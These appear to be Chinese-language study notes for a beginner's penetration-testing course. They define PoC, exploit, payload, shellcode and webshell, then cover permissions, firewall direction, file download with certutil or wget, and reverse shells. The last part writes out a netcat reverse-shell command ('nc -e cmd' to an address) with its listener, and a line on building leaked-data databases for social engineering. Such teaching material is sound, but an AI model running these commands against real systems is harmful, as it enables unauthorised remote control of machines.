POC:利用/证明代码,发现漏洞 EXP:留下漏洞攻击
木马:留下,操作控制电脑 病毒:破坏性,正常文件无法打开
payload:有效负载,真正需要执行的代码,管道
PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
shellcode:payload一种,而exp类似,漏洞
回显
后门 webshell, 反弹:权限转移 黑盒子测试:只有目标
白盒子测试:网站,代码已经知道 跳板:中介
社会工程学:人为的弱点,信任,密码,泄漏的数据库,收集搭建平台,形成社工库,利用漏洞点,搞诈骗一样吸引
个人计算机:主要是以win10和win7现在出现了win11,那么个人计算机主要是解决自己的日常问题
服务器用机:加设应用和网站 linux系统,Windows2008系统,windows2012,window是2016还要乌班图系统
命令:Windows/Linux(网上查)
文件权限:提高权限,获取更多的资料,删除更改 修改权限:拒绝比同意更优先,用户和组,组管所有的用户,如果要改,组需要改
服务权限:
防火墙:默认自带的防火墙
内网:真正意义上组织:看协议!!!
出战:出去(很宽松)
入站:别人进来(外人连接你)(很严格)
实例:文件上传下载————解决无图形化/数据传输
Windows:powershell certutil
Linux:wget +网址:下载文件 curl
反弹shell --解决数据回显,解决数据通讯
交互式:等待应答,webshell无法交互
虚拟机相当于是内网
内网可以连接到
外网连接不到内网
虚拟机发送权限给这个网址C\nc -e cmd 网址
本机可监听 C:\>nc - lvvp 5577
权限交换,在电脑上的操作如同在虚拟机上操作
ipconfig 内网
Linux找Windows 入站
正向/反向连接
尽量让别人出来